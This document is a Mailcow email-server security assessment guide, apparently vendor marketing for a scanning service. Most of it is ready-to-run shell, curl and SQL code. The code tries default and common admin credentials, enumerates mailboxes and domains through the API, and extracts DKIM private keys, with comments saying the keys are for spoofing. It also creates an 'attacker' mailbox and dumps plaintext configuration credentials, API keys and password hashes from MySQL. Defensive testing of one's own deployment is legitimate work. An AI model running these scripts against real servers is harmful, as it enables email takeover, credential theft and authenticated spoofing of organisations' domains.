Mailcow is a widely deployed open-source Docker-based email server suite (mailcow-dockerized) — it provides a complete email infrastructure including Postfix (SMTP), Dovecot (IMAP), SOGo (webmail), Rspamd (anti-spam), and a web admin panel. Key assessment areas: admin/moerigy are the documented default credentials unchanged in many deployments; the REST API provides complete mailbox and domain management; DKIM private keys can be extracted via API enabling email spoofing; MySQL stores all mailbox configurations and credentials; and mailcow.conf contains all database and Redis credentials in plaintext. Compromise of Mailcow yields access to all organizational email, enables SMTP relay abuse, and allows DKIM-signed email spoofing. This guide covers systematic Mailcow security assessment.
# Mailcow — default credentials and API key testing
MAILCOW_URL="https://mail.example.com"
# Test documented default credentials (admin/moerigy)
for CRED in "admin:moerigy" "admin:admin" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${MAILCOW_URL}/api/v1/add/api-key" \
-H "Content-Type: application/json" \
-u "${USER}:${PASS}" \
-d '{"comment":"test"}' 2>/dev/null)
echo "${USER}/${PASS}: $(echo $AUTH | head -c 80)"
done
# Check admin panel login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MAILCOW_URL}/admin" 2>/dev/null)
echo "Admin panel HTTP: ${STATUS}"
# API key from mailcow.conf or admin panel
API_KEY="your-mailcow-api-key"
# Test API key read access
curl -s "${MAILCOW_URL}/api/v1/get/mailbox/all" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
mailboxes = d if isinstance(d,list) else []
print(f'Mailboxes: {len(mailboxes)}')
for mb in mailboxes[:5]:
print(f' {mb.get(\"username\")} quota={mb.get(\"quota\")}MB active={mb.get(\"active\")}')
" 2>/dev/null
# SOGo webmail — test with mailbox credentials
MAILBOX="user@example.com"
MAILBOX_PASS="password"
curl -s -c /tmp/sogo_cookie.txt -X POST "${MAILCOW_URL}/SOGo/connect" \
-H "Content-Type: application/json" \
-d "{\"userName\":\"${MAILBOX}\",\"password\":\"${MAILBOX_PASS}\",\"rememberLogin\":false}" 2>/dev/null | head -c 200
# Mailcow API — mailbox, domain, and DKIM key enumeration
MAILCOW_URL="https://mail.example.com"
API_KEY="your-mailcow-api-key"
# Get all mailboxes across all domains
curl -s "${MAILCOW_URL}/api/v1/get/mailbox/all" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
mailboxes = d if isinstance(d,list) else []
print(f'Mailboxes: {len(mailboxes)}')
for mb in mailboxes[:20]:
print(f' {mb.get(\"username\")} name={mb.get(\"name\")} quota={mb.get(\"quota\")}MB active={mb.get(\"active\")} messages={mb.get(\"messages\")}')
" 2>/dev/null
# Get all domains
curl -s "${MAILCOW_URL}/api/v1/get/domain/all" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
domains = d if isinstance(d,list) else []
print(f'Domains: {len(domains)}')
for dom in domains[:10]:
print(f' {dom.get(\"domain_name\")} mailboxes={dom.get(\"mboxes_in_domain\")} active={dom.get(\"active\")}')
" 2>/dev/null
# CRITICAL: Extract DKIM private key — enables cryptographically valid email spoofing
# for any domain hosted on the Mailcow server
DOMAIN="example.com"
curl -s "${MAILCOW_URL}/api/v1/get/dkim/${DOMAIN}" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
private_key = d.get('dkim_private_key','') or d.get('priv_key','')
pub_txt = d.get('dkim_txt','') or d.get('pub_key','')
if private_key:
print(f'DKIM PRIVATE KEY EXTRACTED for {\"${DOMAIN}\"}:')
print(private_key[:100])
print('WARNING: Can send DKIM-signed spoofed email as any address @${DOMAIN}')
" 2>/dev/null
# Create a new mailbox (pivot to full email access)
curl -s -X POST "${MAILCOW_URL}/api/v1/add/mailbox" \
-H "X-API-Key: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"local_part": "attacker",
"domain": "example.com",
"password": "AttackerPass123!",
"password2": "AttackerPass123!",
"quota": 3072,
"active": "1"
}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Mailbox create: {str(d)[:80]}')
" 2>/dev/null
# Mailcow mailcow.conf credentials and MySQL extraction
# mailcow.conf — Mailcow main configuration (plaintext credentials)
cat /opt/mailcow-dockerized/mailcow.conf 2>/dev/null | grep -E "DBPASS|DBROOT|REDISPASS|API_KEY|MAILCOW_PASS"
# DBPASS — MySQL mailcow user password
# DBROOT — MySQL root password
# REDISPASS — Redis authentication password
# These are all stored in plaintext in mailcow.conf
# API keys stored in MySQL
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
-- Admin API keys
SELECT id, api_key, comment, created, last_used, scope
FROM api;
EOF
-- API keys stored in plaintext
# All mailboxes with hashed credentials
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT username, name, quota, active, messages,
password -- bcrypt hash of mailbox password
FROM mailbox
ORDER BY active DESC, username;
EOF
# All mail aliases
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT address, goto, active
FROM alias
ORDER BY address;
EOF
# DKIM keys stored in MySQL
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT domain, selector,
private_key, -- PLAINTEXT RSA private key for each domain!
public_key
FROM dkim;
EOF
-- DKIM private keys stored in plaintext MySQL — extract for email spoofing
| Security Test | Method | Risk |
|---|---|---|
| Default admin/moerigy credential access | POST to admin login with admin/moerigy — documented default; full admin access to all mailboxes, domains, API keys, and DKIM private keys; DKIM key extraction enables spoofed email from all hosted domains | Critical |
| DKIM private key extraction via API | GET /api/v1/get/dkim/{domain} with valid API key — DKIM RSA private key for each domain; enables sending cryptographically valid DKIM-signed spoofed emails bypassing email authentication | Critical |
| MySQL DKIM table plaintext key extraction | SELECT private_key FROM dkim — all DKIM private keys stored in plaintext; complete email spoofing capability for all hosted domains with database access | Critical |
| mailcow.conf plaintext credential extraction | Read /opt/mailcow-dockerized/mailcow.conf — DBPASS, DBROOT, REDISPASS all in plaintext; single file yields all database and Redis credentials | Critical |
| Mailbox creation via API for IMAP/SMTP access | POST /api/v1/add/mailbox — create new mailbox on hosted domain; access organizational email via IMAP; send mail from legitimate domain address via SMTP | High |
Ironimo tests Mailcow deployments for default admin/moerigy credential access, DKIM private key extraction via API (enabling cryptographically valid email spoofing), MySQL DKIM table plaintext key extraction, mailcow.conf credential enumeration (DBPASS/DBROOT/REDISPASS), API key plaintext extraction from MySQL api table, unauthorized mailbox creation, SOGo webmail authentication testing, SMTP relay open relay testing, Rspamd bypass assessment, and Dovecot IMAP access control evaluation.
Start free scan